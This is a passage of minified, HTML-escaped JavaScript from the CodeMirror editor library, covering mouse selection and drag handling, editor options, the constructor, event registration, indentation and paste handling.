var behavior=configureMouse(cm,repeat,event);var sel=cm.doc.sel,contained;if(cm.options.dragDrop&amp;&amp;dragAndDrop&amp;&amp;!cm.isReadOnly()&amp;&amp;repeat==&quot;single&quot;&amp;&amp;(contained=sel.contains(pos))&gt;-1&amp;&amp;(cmp((contained=sel.ranges[contained]).from(),pos)&lt;0||pos.xRel&gt;0)&amp;&amp;(cmp(contained.to(),pos)&gt;0||pos.xRel&lt;0)){leftButtonStartDrag(cm,event,pos,behavior)}else{leftButtonSelect(cm,event,pos,behavior)}}
function leftButtonStartDrag(cm,event,pos,behavior){var display=cm.display,moved=!1;var dragEnd=operation(cm,function(e){if(webkit){display.scroller.draggable=!1}
cm.state.draggingText=!1;off(display.wrapper.ownerDocument,&quot;mouseup&quot;,dragEnd);off(display.wrapper.ownerDocument,&quot;mousemove&quot;,mouseMove);off(display.scroller,&quot;dragstart&quot;,dragStart);off(display.scroller,&quot;drop&quot;,dragEnd);if(!moved){e_preventDefault(e);if(!behavior.addNew){extendSelection(cm.doc,pos,null,null,behavior.extend)}
if((webkit&amp;&amp;!safari)||ie&amp;&amp;ie_version==9){setTimeout(function(){display.wrapper.ownerDocument.body.focus({preventScroll:!0});display.input.focus()},20)}else{display.input.focus()}}});var mouseMove=function(e2){moved=moved||Math.abs(event.clientX-e2.clientX)+Math.abs(event.clientY-e2.clientY)&gt;=10};var dragStart=function(){return moved=!0};if(webkit){display.scroller.draggable=!0}
cm.state.draggingText=dragEnd;dragEnd.copy=!behavior.moveOnDrag;if(display.scroller.dragDrop){display.scroller.dragDrop()}
on(display.wrapper.ownerDocument,&quot;mouseup&quot;,dragEnd);on(display.wrapper.ownerDocument,&quot;mousemove&quot;,mouseMove);on(display.scroller,&quot;dragstart&quot;,dragStart);on(display.scroller,&quot;drop&quot;,dragEnd);delayBlurEvent(cm);setTimeout(function(){return display.input.focus()},20)}
function rangeForUnit(cm,pos,unit){if(unit==&quot;char&quot;){return new Range(pos,pos)}
if(unit==&quot;word&quot;){return cm.findWordAt(pos)}
if(unit==&quot;line&quot;){return new Range(Pos(pos.line,0),clipPos(cm.doc,Pos(pos.line+1,0)))}
var result=unit(cm,pos);return new Range(result.from,result.to)}
function leftButtonSelect(cm,event,start,behavior){var display=cm.display,doc=cm.doc;e_preventDefault(event);var ourRange,ourIndex,startSel=doc.sel,ranges=startSel.ranges;if(behavior.addNew&amp;&amp;!behavior.extend){ourIndex=doc.sel.contains(start);if(ourIndex&gt;-1){ourRange=ranges[ourIndex]}else{ourRange=new Range(start,start)}}else{ourRange=doc.sel.primary();ourIndex=doc.sel.primIndex}
if(behavior.unit==&quot;rectangle&quot;){if(!behavior.addNew){ourRange=new Range(start,start)}
start=posFromMouse(cm,event,!0,!0);ourIndex=-1}else{var range=rangeForUnit(cm,start,behavior.unit);if(behavior.extend){ourRange=extendRange(ourRange,range.anchor,range.head,behavior.extend)}else{ourRange=range}}
if(!behavior.addNew){ourIndex=0;setSelection(doc,new Selection([ourRange],0),sel_mouse);startSel=doc.sel}else if(ourIndex==-1){ourIndex=ranges.length;setSelection(doc,normalizeSelection(cm,ranges.concat([ourRange]),ourIndex),{scroll:!1,origin:&quot;*mouse&quot;})}else if(ranges.length&gt;1&amp;&amp;ranges[ourIndex].empty()&amp;&amp;behavior.unit==&quot;char&quot;&amp;&amp;!behavior.extend){setSelection(doc,normalizeSelection(cm,ranges.slice(0,ourIndex).concat(ranges.slice(ourIndex+1)),0),{scroll:!1,origin:&quot;*mouse&quot;});startSel=doc.sel}else{replaceOneSelection(doc,ourIndex,ourRange,sel_mouse)}
var lastPos=start;function extendTo(pos){if(cmp(lastPos,pos)==0){return}
lastPos=pos;if(behavior.unit==&quot;rectangle&quot;){var ranges=[],tabSize=cm.options.tabSize;var startCol=countColumn(getLine(doc,start.line).text,start.ch,tabSize);var posCol=countColumn(getLine(doc,pos.line).text,pos.ch,tabSize);var left=Math.min(startCol,posCol),right=Math.max(startCol,posCol);for(var line=Math.min(start.line,pos.line),end=Math.min(cm.lastLine(),Math.max(start.line,pos.line));line&lt;=end;line++){var text=getLine(doc,line).text,leftPos=findColumn(text,left,tabSize);if(left==right){ranges.push(new Range(Pos(line,leftPos),Pos(line,leftPos)))}else if(text.length&gt;leftPos){ranges.push(new Range(Pos(line,leftPos),Pos(line,findColumn(text,right,tabSize))))}}
if(!ranges.length){ranges.push(new Range(start,start))}
setSelection(doc,normalizeSelection(cm,startSel.ranges.slice(0,ourIndex).concat(ranges),ourIndex),{origin:&quot;*mouse&quot;,scroll:!1});cm.scrollIntoView(pos)}else{var oldRange=ourRange;var range=rangeForUnit(cm,pos,behavior.unit);var anchor=oldRange.anchor,head;if(cmp(range.anchor,anchor)&gt;0){head=range.head;anchor=minPos(oldRange.from(),range.anchor)}else{head=range.anchor;anchor=maxPos(oldRange.to(),range.head)}
var ranges$1=startSel.ranges.slice(0);ranges$1[ourIndex]=bidiSimplify(cm,new Range(clipPos(doc,anchor),head));setSelection(doc,normalizeSelection(cm,ranges$1,ourIndex),sel_mouse)}}
var editorSize=display.wrapper.getBoundingClientRect();var counter=0;function extend(e){var curCount=++counter;var cur=posFromMouse(cm,e,!0,behavior.unit==&quot;rectangle&quot;);if(!cur){return}
if(cmp(cur,lastPos)!=0){cm.curOp.focus=activeElt();extendTo(cur);var visible=visibleLines(display,doc);if(cur.line&gt;=visible.to||cur.line&lt;visible.from){setTimeout(operation(cm,function(){if(counter==curCount){extend(e)}}),150)}}else{var outside=e.clientY&lt;editorSize.top?-20:e.clientY&gt;editorSize.bottom?20:0;if(outside){setTimeout(operation(cm,function(){if(counter!=curCount){return}
display.scroller.scrollTop+=outside;extend(e)}),50)}}}
function done(e){cm.state.selectingText=!1;counter=Infinity;if(e){e_preventDefault(e);display.input.focus()}
off(display.wrapper.ownerDocument,&quot;mousemove&quot;,move);off(display.wrapper.ownerDocument,&quot;mouseup&quot;,up);doc.history.lastSelOrigin=null}
var move=operation(cm,function(e){if(e.buttons===0||!e_button(e)){done(e)}else{extend(e)}});var up=operation(cm,done);cm.state.selectingText=up;on(display.wrapper.ownerDocument,&quot;mousemove&quot;,move);on(display.wrapper.ownerDocument,&quot;mouseup&quot;,up)}
function bidiSimplify(cm,range){var anchor=range.anchor;var head=range.head;var anchorLine=getLine(cm.doc,anchor.line);if(cmp(anchor,head)==0&amp;&amp;anchor.sticky==head.sticky){return range}
var order=getOrder(anchorLine);if(!order){return range}
var index=getBidiPartAt(order,anchor.ch,anchor.sticky),part=order[index];if(part.from!=anchor.ch&amp;&amp;part.to!=anchor.ch){return range}
var boundary=index+((part.from==anchor.ch)==(part.level!=1)?0:1);if(boundary==0||boundary==order.length){return range}
var leftSide;if(head.line!=anchor.line){leftSide=(head.line-anchor.line)*(cm.doc.direction==&quot;ltr&quot;?1:-1)&gt;0}else{var headIndex=getBidiPartAt(order,head.ch,head.sticky);var dir=headIndex-index||(head.ch-anchor.ch)*(part.level==1?-1:1);if(headIndex==boundary-1||headIndex==boundary){leftSide=dir&lt;0}else{leftSide=dir&gt;0}}
var usePart=order[boundary+(leftSide?-1:0)];var from=leftSide==(usePart.level==1);var ch=from?usePart.from:usePart.to,sticky=from?&quot;after&quot;:&quot;before&quot;;return anchor.ch==ch&amp;&amp;anchor.sticky==sticky?range:new Range(new Pos(anchor.line,ch,sticky),head)}
function gutterEvent(cm,e,type,prevent){var mX,mY;if(e.touches){mX=e.touches[0].clientX;mY=e.touches[0].clientY}else{try{mX=e.clientX;mY=e.clientY}catch(e$1){return!1}}
if(mX&gt;=Math.floor(cm.display.gutters.getBoundingClientRect().right)){return!1}
if(prevent){e_preventDefault(e)}
var display=cm.display;var lineBox=display.lineDiv.getBoundingClientRect();if(mY&gt;lineBox.bottom||!hasHandler(cm,type)){return e_defaultPrevented(e)}
mY-=lineBox.top-display.viewOffset;for(var i=0;i&lt;cm.display.gutterSpecs.length;++i){var g=display.gutters.childNodes[i];if(g&amp;&amp;g.getBoundingClientRect().right&gt;=mX){var line=lineAtHeight(cm.doc,mY);var gutter=cm.display.gutterSpecs[i];signal(cm,type,cm,line,gutter.className,e);return e_defaultPrevented(e)}}}
function clickInGutter(cm,e){return gutterEvent(cm,e,&quot;gutterClick&quot;,!0)}
function onContextMenu(cm,e){if(eventInWidget(cm.display,e)||contextMenuInGutter(cm,e)){return}
if(signalDOMEvent(cm,e,&quot;contextmenu&quot;)){return}
if(!captureRightClick){cm.display.input.onContextMenu(e)}}
function contextMenuInGutter(cm,e){if(!hasHandler(cm,&quot;gutterContextMenu&quot;)){return!1}
return gutterEvent(cm,e,&quot;gutterContextMenu&quot;,!1)}
function themeChanged(cm){cm.display.wrapper.className=cm.display.wrapper.className.replace(/\s*cm-s-\S+/g,&quot;&quot;)+cm.options.theme.replace(/(^|\s)\s*/g,&quot; cm-s-&quot;);clearCaches(cm)}
var Init={toString:function(){return&quot;CodeMirror.Init&quot;}};var defaults={};var optionHandlers={};function defineOptions(CodeMirror){var optionHandlers=CodeMirror.optionHandlers;function option(name,deflt,handle,notOnInit){CodeMirror.defaults[name]=deflt;if(handle){optionHandlers[name]=notOnInit?function(cm,val,old){if(old!=Init){handle(cm,val,old)}}:handle}}
CodeMirror.defineOption=option;CodeMirror.Init=Init;option(&quot;value&quot;,&quot;&quot;,function(cm,val){return cm.setValue(val)},!0);option(&quot;mode&quot;,null,function(cm,val){cm.doc.modeOption=val;loadMode(cm)},!0);option(&quot;indentUnit&quot;,2,loadMode,!0);option(&quot;indentWithTabs&quot;,!1);option(&quot;smartIndent&quot;,!0);option(&quot;tabSize&quot;,4,function(cm){resetModeState(cm);clearCaches(cm);regChange(cm)},!0);option(&quot;lineSeparator&quot;,null,function(cm,val){cm.doc.lineSep=val;if(!val){return}
var newBreaks=[],lineNo=cm.doc.first;cm.doc.iter(function(line){for(var pos=0;;){var found=line.text.indexOf(val,pos);if(found==-1){break}
pos=found+val.length;newBreaks.push(Pos(lineNo,found))}
lineNo++});for(var i=newBreaks.length-1;i&gt;=0;i--){replaceRange(cm.doc,val,newBreaks[i],Pos(newBreaks[i].line,newBreaks[i].ch+val.length))}});option(&quot;specialChars&quot;,/[\u0000-\u001f\u007f-\u009f\u00ad\u061c\u200b-\u200c\u200e\u200f\u2028\u2029\ufeff\ufff9-\ufffc]/g,function(cm,val,old){cm.state.specialChars=new RegExp(val.source+(val.test(&quot;\t&quot;)?&quot;&quot;:&quot;|\t&quot;),&quot;g&quot;);if(old!=Init){cm.refresh()}});option(&quot;specialCharPlaceholder&quot;,defaultSpecialCharPlaceholder,function(cm){return cm.refresh()},!0);option(&quot;electricChars&quot;,!0);option(&quot;inputStyle&quot;,mobile?&quot;contenteditable&quot;:&quot;textarea&quot;,function(){throw new Error(&quot;inputStyle can not (yet) be changed in a running editor&quot;)},!0);option(&quot;spellcheck&quot;,!1,function(cm,val){return cm.getInputField().spellcheck=val},!0);option(&quot;autocorrect&quot;,!1,function(cm,val){return cm.getInputField().autocorrect=val},!0);option(&quot;autocapitalize&quot;,!1,function(cm,val){return cm.getInputField().autocapitalize=val},!0);option(&quot;rtlMoveVisually&quot;,!windows);option(&quot;wholeLineUpdateBefore&quot;,!0);option(&quot;theme&quot;,&quot;default&quot;,function(cm){themeChanged(cm);updateGutters(cm)},!0);option(&quot;keyMap&quot;,&quot;default&quot;,function(cm,val,old){var next=getKeyMap(val);var prev=old!=Init&amp;&amp;getKeyMap(old);if(prev&amp;&amp;prev.detach){prev.detach(cm,next)}
if(next.attach){next.attach(cm,prev||null)}});option(&quot;extraKeys&quot;,null);option(&quot;configureMouse&quot;,null);option(&quot;lineWrapping&quot;,!1,wrappingChanged,!0);option(&quot;gutters&quot;,[],function(cm,val){cm.display.gutterSpecs=getGutters(val,cm.options.lineNumbers);updateGutters(cm)},!0);option(&quot;fixedGutter&quot;,!0,function(cm,val){cm.display.gutters.style.left=val?compensateForHScroll(cm.display)+&quot;px&quot;:&quot;0&quot;;cm.refresh()},!0);option(&quot;coverGutterNextToScrollbar&quot;,!1,function(cm){return updateScrollbars(cm)},!0);option(&quot;scrollbarStyle&quot;,&quot;native&quot;,function(cm){initScrollbars(cm);updateScrollbars(cm);cm.display.scrollbars.setScrollTop(cm.doc.scrollTop);cm.display.scrollbars.setScrollLeft(cm.doc.scrollLeft)},!0);option(&quot;lineNumbers&quot;,!1,function(cm,val){cm.display.gutterSpecs=getGutters(cm.options.gutters,val);updateGutters(cm)},!0);option(&quot;firstLineNumber&quot;,1,updateGutters,!0);option(&quot;lineNumberFormatter&quot;,function(integer){return integer},updateGutters,!0);option(&quot;showCursorWhenSelecting&quot;,!1,updateSelection,!0);option(&quot;resetSelectionOnContextMenu&quot;,!0);option(&quot;lineWiseCopyCut&quot;,!0);option(&quot;pasteLinesPerSelection&quot;,!0);option(&quot;selectionsMayTouch&quot;,!1);option(&quot;readOnly&quot;,!1,function(cm,val){if(val==&quot;nocursor&quot;){onBlur(cm);cm.display.input.blur()}
cm.display.input.readOnlyChanged(val)});option(&quot;screenReaderLabel&quot;,null,function(cm,val){val=(val===&#039;&#039;)?null:val;cm.display.input.screenReaderLabelChanged(val)});option(&quot;disableInput&quot;,!1,function(cm,val){if(!val){cm.display.input.reset()}},!0);option(&quot;dragDrop&quot;,!0,dragDropChanged);option(&quot;allowDropFileTypes&quot;,null);option(&quot;cursorBlinkRate&quot;,530);option(&quot;cursorScrollMargin&quot;,0);option(&quot;cursorHeight&quot;,1,updateSelection,!0);option(&quot;singleCursorHeightPerLine&quot;,!0,updateSelection,!0);option(&quot;workTime&quot;,100);option(&quot;workDelay&quot;,100);option(&quot;flattenSpans&quot;,!0,resetModeState,!0);option(&quot;addModeClass&quot;,!1,resetModeState,!0);option(&quot;pollInterval&quot;,100);option(&quot;undoDepth&quot;,200,function(cm,val){return cm.doc.history.undoDepth=val});option(&quot;historyEventDelay&quot;,1250);option(&quot;viewportMargin&quot;,10,function(cm){return cm.refresh()},!0);option(&quot;maxHighlightLength&quot;,10000,resetModeState,!0);option(&quot;moveInputWithCursor&quot;,!0,function(cm,val){if(!val){cm.display.input.resetPosition()}});option(&quot;tabindex&quot;,null,function(cm,val){return cm.display.input.getField().tabIndex=val||&quot;&quot;});option(&quot;autofocus&quot;,null);option(&quot;direction&quot;,&quot;ltr&quot;,function(cm,val){return cm.doc.setDirection(val)},!0);option(&quot;phrases&quot;,null)}
function dragDropChanged(cm,value,old){var wasOn=old&amp;&amp;old!=Init;if(!value!=!wasOn){var funcs=cm.display.dragFunctions;var toggle=value?on:off;toggle(cm.display.scroller,&quot;dragstart&quot;,funcs.start);toggle(cm.display.scroller,&quot;dragenter&quot;,funcs.enter);toggle(cm.display.scroller,&quot;dragover&quot;,funcs.over);toggle(cm.display.scroller,&quot;dragleave&quot;,funcs.leave);toggle(cm.display.scroller,&quot;drop&quot;,funcs.drop)}}
function wrappingChanged(cm){if(cm.options.lineWrapping){addClass(cm.display.wrapper,&quot;CodeMirror-wrap&quot;);cm.display.sizer.style.minWidth=&quot;&quot;;cm.display.sizerWidth=null}else{rmClass(cm.display.wrapper,&quot;CodeMirror-wrap&quot;);findMaxLine(cm)}
estimateLineHeights(cm);regChange(cm);clearCaches(cm);setTimeout(function(){return updateScrollbars(cm)},100)}
function CodeMirror(place,options){var this$1=this;if(!(this instanceof CodeMirror)){return new CodeMirror(place,options)}
this.options=options=options?copyObj(options):{};copyObj(defaults,options,!1);var doc=options.value;if(typeof doc==&quot;string&quot;){doc=new Doc(doc,options.mode,null,options.lineSeparator,options.direction)}else if(options.mode){doc.modeOption=options.mode}
this.doc=doc;var input=new CodeMirror.inputStyles[options.inputStyle](this);var display=this.display=new Display(place,doc,input,options);display.wrapper.CodeMirror=this;themeChanged(this);if(options.lineWrapping){this.display.wrapper.className+=&quot; CodeMirror-wrap&quot;}
initScrollbars(this);this.state={keyMaps:[],overlays:[],modeGen:0,overwrite:!1,delayingBlurEvent:!1,focused:!1,suppressEdits:!1,pasteIncoming:-1,cutIncoming:-1,selectingText:!1,draggingText:!1,highlight:new Delayed(),keySeq:null,specialChars:null};if(options.autofocus&amp;&amp;!mobile){display.input.focus()}
if(ie&amp;&amp;ie_version&lt;11){setTimeout(function(){return this$1.display.input.reset(!0)},20)}
registerEventHandlers(this);ensureGlobalHandlers();startOperation(this);this.curOp.forceUpdate=!0;attachDoc(this,doc);if((options.autofocus&amp;&amp;!mobile)||this.hasFocus()){setTimeout(function(){if(this$1.hasFocus()&amp;&amp;!this$1.state.focused){onFocus(this$1)}},20)}else{onBlur(this)}
for(var opt in optionHandlers){if(optionHandlers.hasOwnProperty(opt)){optionHandlers[opt](this,options[opt],Init)}}
maybeUpdateLineNumberWidth(this);if(options.finishInit){options.finishInit(this)}
for(var i=0;i&lt;initHooks.length;++i){initHooks[i](this)}
endOperation(this);if(webkit&amp;&amp;options.lineWrapping&amp;&amp;getComputedStyle(display.lineDiv).textRendering==&quot;optimizelegibility&quot;){display.lineDiv.style.textRendering=&quot;auto&quot;}}
CodeMirror.defaults=defaults;CodeMirror.optionHandlers=optionHandlers;function registerEventHandlers(cm){var d=cm.display;on(d.scroller,&quot;mousedown&quot;,operation(cm,onMouseDown));if(ie&amp;&amp;ie_version&lt;11){on(d.scroller,&quot;dblclick&quot;,operation(cm,function(e){if(signalDOMEvent(cm,e)){return}
var pos=posFromMouse(cm,e);if(!pos||clickInGutter(cm,e)||eventInWidget(cm.display,e)){return}
e_preventDefault(e);var word=cm.findWordAt(pos);extendSelection(cm.doc,word.anchor,word.head)}))}else{on(d.scroller,&quot;dblclick&quot;,function(e){return signalDOMEvent(cm,e)||e_preventDefault(e)})}
on(d.scroller,&quot;contextmenu&quot;,function(e){return onContextMenu(cm,e)});on(d.input.getField(),&quot;contextmenu&quot;,function(e){if(!d.scroller.contains(e.target)){onContextMenu(cm,e)}});var touchFinished,prevTouch={end:0};function finishTouch(){if(d.activeTouch){touchFinished=setTimeout(function(){return d.activeTouch=null},1000);prevTouch=d.activeTouch;prevTouch.end=+new Date}}
function isMouseLikeTouchEvent(e){if(e.touches.length!=1){return!1}
var touch=e.touches[0];return touch.radiusX&lt;=1&amp;&amp;touch.radiusY&lt;=1}
function farAway(touch,other){if(other.left==null){return!0}
var dx=other.left-touch.left,dy=other.top-touch.top;return dx*dx+dy*dy&gt;20*20}
on(d.scroller,&quot;touchstart&quot;,function(e){if(!signalDOMEvent(cm,e)&amp;&amp;!isMouseLikeTouchEvent(e)&amp;&amp;!clickInGutter(cm,e)){d.input.ensurePolled();clearTimeout(touchFinished);var now=+new Date;d.activeTouch={start:now,moved:!1,prev:now-prevTouch.end&lt;=300?prevTouch:null};if(e.touches.length==1){d.activeTouch.left=e.touches[0].pageX;d.activeTouch.top=e.touches[0].pageY}}});on(d.scroller,&quot;touchmove&quot;,function(){if(d.activeTouch){d.activeTouch.moved=!0}});on(d.scroller,&quot;touchend&quot;,function(e){var touch=d.activeTouch;if(touch&amp;&amp;!eventInWidget(d,e)&amp;&amp;touch.left!=null&amp;&amp;!touch.moved&amp;&amp;new Date-touch.start&lt;300){var pos=cm.coordsChar(d.activeTouch,&quot;page&quot;),range;if(!touch.prev||farAway(touch,touch.prev)){range=new Range(pos,pos)}else if(!touch.prev.prev||farAway(touch,touch.prev.prev)){range=cm.findWordAt(pos)}else{range=new Range(Pos(pos.line,0),clipPos(cm.doc,Pos(pos.line+1,0)))}
cm.setSelection(range.anchor,range.head);cm.focus();e_preventDefault(e)}
finishTouch()});on(d.scroller,&quot;touchcancel&quot;,finishTouch);on(d.scroller,&quot;scroll&quot;,function(){if(d.scroller.clientHeight){updateScrollTop(cm,d.scroller.scrollTop);setScrollLeft(cm,d.scroller.scrollLeft,!0);signal(cm,&quot;scroll&quot;,cm)}});on(d.scroller,&quot;mousewheel&quot;,function(e){return onScrollWheel(cm,e)});on(d.scroller,&quot;DOMMouseScroll&quot;,function(e){return onScrollWheel(cm,e)});on(d.wrapper,&quot;scroll&quot;,function(){return d.wrapper.scrollTop=d.wrapper.scrollLeft=0});d.dragFunctions={enter:function(e){if(!signalDOMEvent(cm,e)){e_stop(e)}},over:function(e){if(!signalDOMEvent(cm,e)){onDragOver(cm,e);e_stop(e)}},start:function(e){return onDragStart(cm,e)},drop:operation(cm,onDrop),leave:function(e){if(!signalDOMEvent(cm,e)){clearDragCursor(cm)}}};var inp=d.input.getField();on(inp,&quot;keyup&quot;,function(e){return onKeyUp.call(cm,e)});on(inp,&quot;keydown&quot;,operation(cm,onKeyDown));on(inp,&quot;keypress&quot;,operation(cm,onKeyPress));on(inp,&quot;focus&quot;,function(e){return onFocus(cm,e)});on(inp,&quot;blur&quot;,function(e){return onBlur(cm,e)})}
var initHooks=[];CodeMirror.defineInitHook=function(f){return initHooks.push(f)};function indentLine(cm,n,how,aggressive){var doc=cm.doc,state;if(how==null){how=&quot;add&quot;}
if(how==&quot;smart&quot;){if(!doc.mode.indent){how=&quot;prev&quot;}else{state=getContextBefore(cm,n).state}}
var tabSize=cm.options.tabSize;var line=getLine(doc,n),curSpace=countColumn(line.text,null,tabSize);if(line.stateAfter){line.stateAfter=null}
var curSpaceString=line.text.match(/^\s*/)[0],indentation;if(!aggressive&amp;&amp;!/\S/.test(line.text)){indentation=0;how=&quot;not&quot;}else if(how==&quot;smart&quot;){indentation=doc.mode.indent(state,line.text.slice(curSpaceString.length),line.text);if(indentation==Pass||indentation&gt;150){if(!aggressive){return}
how=&quot;prev&quot;}}
if(how==&quot;prev&quot;){if(n&gt;doc.first){indentation=countColumn(getLine(doc,n-1).text,null,tabSize)}else{indentation=0}}else if(how==&quot;add&quot;){indentation=curSpace+cm.options.indentUnit}else if(how==&quot;subtract&quot;){indentation=curSpace-cm.options.indentUnit}else if(typeof how==&quot;number&quot;){indentation=curSpace+how}
indentation=Math.max(0,indentation);var indentString=&quot;&quot;,pos=0;if(cm.options.indentWithTabs){for(var i=Math.floor(indentation/tabSize);i;--i){pos+=tabSize;indentString+=&quot;\t&quot;}}
if(pos&lt;indentation){indentString+=spaceStr(indentation-pos)}
if(indentString!=curSpaceString){replaceRange(doc,indentString,Pos(n,0),Pos(n,curSpaceString.length),&quot;+input&quot;);line.stateAfter=null;return!0}else{for(var i$1=0;i$1&lt;doc.sel.ranges.length;i$1++){var range=doc.sel.ranges[i$1];if(range.head.line==n&amp;&amp;range.head.ch&lt;curSpaceString.length){var pos$1=Pos(n,curSpaceString.length);replaceOneSelection(doc,i$1,new Range(pos$1,pos$1));break}}}}
var lastCopied=null;function setLastCopied(newLastCopied){lastCopied=newLastCopied}
function applyTextInput(cm,inserted,deleted,sel,origin){var doc=cm.doc;cm.display.shift=!1;if(!sel){sel=doc.sel}
var recent=+new Date-200;var paste=origin==&quot;paste&quot;||cm.state.pasteIncoming&gt;recent;var textLines=splitLinesAuto(inserted),multiPaste=null;if(paste&amp;&amp;sel.ranges.length&gt;1){if(lastCopied&amp;&amp;lastCopied.text.join(&quot;\n&quot;)==inserted){if(sel.ranges.length%lastCopied.text.length==0){multiPaste=[];for(var i=0;i&lt;lastCopied.text.length;i++){multiPaste.push(doc.splitLines(lastCopied.text[i]))}}}else if(textLines.length==sel.ranges.length&amp;&amp;cm.options.pasteLinesPerSelection){multiPaste=map(textLines,function(l){return[l]})}}
var updateInput=cm.curOp.updateInput;for(var i$1=sel.ranges.length-1;i$1&gt;=0;i$1--){var range=sel.ranges[i$1];var from=range.from(),to=range.to();if(range.empty()){if(deleted&amp;&amp;deleted&gt;0){from=Pos(from.line,from.ch-deleted)}else if(cm.state.overwrite&amp;&amp;!paste){to=Pos(to.line,Math.min(getLine(doc,to.line).text.length,to.ch+lst(textLines).length))}else if(paste&amp;&amp;lastCopied&amp;&amp;lastCopied.lineWise&amp;&amp;lastCopied.text.join(&quot;\n&quot;)==textLines.join(&quot;\n&quot;)){from=to=Pos(from.line,0)}}
var changeEvent={from:from,to:to,text:multiPaste?multiPaste[i$1%multiPaste.length]:textLines,origin:origin||(paste?&quot;paste&quot;:cm.state.cutIncoming&gt;recent?&quot;cut&quot;:&quot;+input&quot;)};makeChange(cm.doc,changeEvent);signalLater(cm,&quot;inputRead&quot;,cm,changeEvent)}
if(inserted&amp;&amp;!paste){triggerElectric(cm,inserted)}
ensureCursorVisible(cm);if(cm.curOp.updateInput&lt;2){cm.curOp.updateInput=updateInput}
cm.curOp.typing=!0;cm.state.pasteIncoming=cm.state.cutIncoming=-1}
function handlePaste(e,cm){var pasted=e.clipboardData&amp;&amp;e.clipboardData.getData(&quot;Text&quot;);if(pasted){e.preventDefault();if(!cm.isReadOnly()&amp;&amp;!cm.options.disableInput){runInOp(cm,function(){return applyTextInput(cm,pasted,0,null,&quot;paste&quot;)})}
return!0}}
function triggerElectric(cm,inserted){if(!cm.options.electricChars||!cm.options.smartIndent){return}
var sel=cm.doc.sel;for(var i=sel.ranges.length-1;i&gt;=0;i--){var range=sel.ranges[i];if(range.head.ch&gt;100||(i&amp;&amp;sel.ranges[i-1].head.line==range.head.line)){continue}
var mode=cm.getModeAt(range.head);var indented=!1;if(mode.electricChars){for(var j=0;j&lt;mode.electricChars.length;j++){if(inserted.indexOf(mode.electricChars.charAt(j))&gt;-1){indented=indentLine(cm,range.head.line,&quot;smart&quot;);break}}}else if(mode.electricInput){if(mode.electricInput.test(getLine(cm.doc,range.head.line).text.slice(0,range.head.ch))){indented=indentLine(cm,range.head.line,&quot;smart&quot;)}}
if(indented){signalLater(cm,&quot;electricInput&quot;,cm,range.head.line)}}}
function copyableRanges(cm){var text=[],ranges=[];for(var i=0;i&lt;cm.doc.sel.ranges.length;i++){var line=cm.doc.sel.ranges[i].head.line;var lineRange={anchor:Pos(line,0),head:Pos(line+1,0)};ranges.push(lineRange);text.push(cm.getRange(lineRange.anchor,lineRange.head))}
return{text:text,ranges:ranges}}
function disableBrowserMagic(field,spellcheck,autocorrect,autocapitalize){field.setAttribute(&quot;autocorrect&quot;,autocorrect?&quot;&quot;:&quot;off&quot;);field.setAttribute(&quot;autocapitalize&quot;,autocapitalize?&quot;&quot;:&quot;off&quot;);field.setAttribute(&quot;spellcheck&quot;,!!spellcheck)}
function hiddenTextarea(){var te=elt(&quot;textarea&quot;,null,null,&quot;position: absolute; bottom: -1em; padding: 0; width: 1px; height: 1em; outline: none&quot;);var div=elt(&quot;div&quot;,[te],null,&quot;overflow: hidden; position: relative; width: 3px; height: 0px;&quot;);if(webkit){te.style.width=&quot;1000px&quot;}else{te.setAttribute(&quot;wrap&quot;,&quot;off&quot;)}
if(ios){te.style.border=&quot;1px solid black&quot;}
disableBrowserMagic(te);return div}
function addEditorMethods(CodeMirror){var optionHandlers=CodeMirror.optionHandlers;var helpers=CodeMirror.helpers={};CodeMirror.prototype={constructor:CodeMirror,focus:function(){window.focus();this.display.input.focus()},setOption:function(option,value){var options=this.options,old=options[option];if(options[option]==value&amp;&amp;option!=&quot;mode&quot;){return}
options[option]=value;if(optionHandlers.hasOwnProperty(option)){operation(this,optionHandlers[option])(this,value,old)}
signal(this,&quot;optionChange&quot;,this,option)},getOption:function(option){return this.options[option]},getDoc:function(){return this.doc},addKeyMap:function(map,bottom){this.state.keyMaps[bottom?&quot;push&quot;:&quot;unshift&quot;](getKeyMap(map))},removeKeyMap:function(map){var maps=this.state.keyMaps;for(var i=0;i&lt;maps.length;++i){if(maps[i]==map||maps[i].name==map){maps.splice(i,1);return!0}}},addOverlay:methodOp(function(spec,options){var mode=spec.token?spec:CodeMirror.getMode(this.options,spec);if(mode.startState){throw new Error(&quot;Overlays may not be stateful.&quot;)}
insertSorted(this.state.overlays,{mode:mode,modeSpec:spec,opaque:options&amp;&amp;options.opaque,priority:(options&amp;&amp;options.priority)||0},function(overlay){return overlay.priority});this.state.modeGen++;regChange(this)}),removeOverlay:methodOp(function(spec){var overlays=this.state.overlays;for(var i=0;i&lt;overlays.length;++i){var cur=overlays[i].modeSpec;if(cur==spec||typeof spec==&quot;string&quot;&amp;&amp;cur.name==spec){overlays.splice(i,1);this.state.modeGen++;regChange(this);return}}}),indentLine:methodOp(function(n,dir,aggressive){if(typeof dir!=&quot;string&quot;&amp;&amp;typeof dir!=&quot;number&quot;){if(dir==null){dir=this.options.smartIndent?&quot;smart&quot;:&quot;prev&quot;}else{dir=dir?&quot;add&quot;:&quot;subtract&quot;}}
if(isLine(this.doc,n)){indentLine(this,n,dir,aggressive)}}),indentSelection:methodOp(function(how){var ranges=this.doc.sel.ranges,end=-1;for(var i=0;i&lt;ranges.length;i++){var range=ranges[i];if(!range.empty()){var from=range.from(),to=range.to();var start=Math.max(end,from.line);end=Math.min(this.lastLine(),to.line-(to.ch?0:1))+1;for(var j=start;j&lt;end;++j){indentLine(this,j,how)}
var newRanges=this.doc.sel.ranges;if(from.ch==0&amp;&amp;ranges.length==newRanges.length&amp;&amp;newRanges[i].from().ch&gt;0){replaceOneSelection(this.doc,i,new Range(from,newRanges[i].to()),sel_dontScroll)}}else if(range.head.line&gt;end){indentLine(this,range.head.line,how,!0);end=range.head.line;if(i==this.doc.sel.primIndex){ensureCursorVisible(this)}}}}),getTokenAt:function(pos,precise){return takeToken(this,pos,precise)},getLineTokens:function(line,precise){return takeToken(this,Pos(line),precise,!0)},getTokenTypeAt:function(pos){pos=clipPos(this.doc,pos);var styles=getLineStyles(this,getLine(this.doc,pos.line));var before=0,after=(styles.length-1)/2,ch=pos.ch;var type;if(ch==0){type=styles[2]}else{for(;;){var mid=(before+after)&gt;&gt;1;if((mid?styles[mid*2-1]:0)&gt;=ch){after=mid}else if(styles[mid*2+1]&lt;ch){before=mid+1}else{type=styles[mid*2+2];break}}}
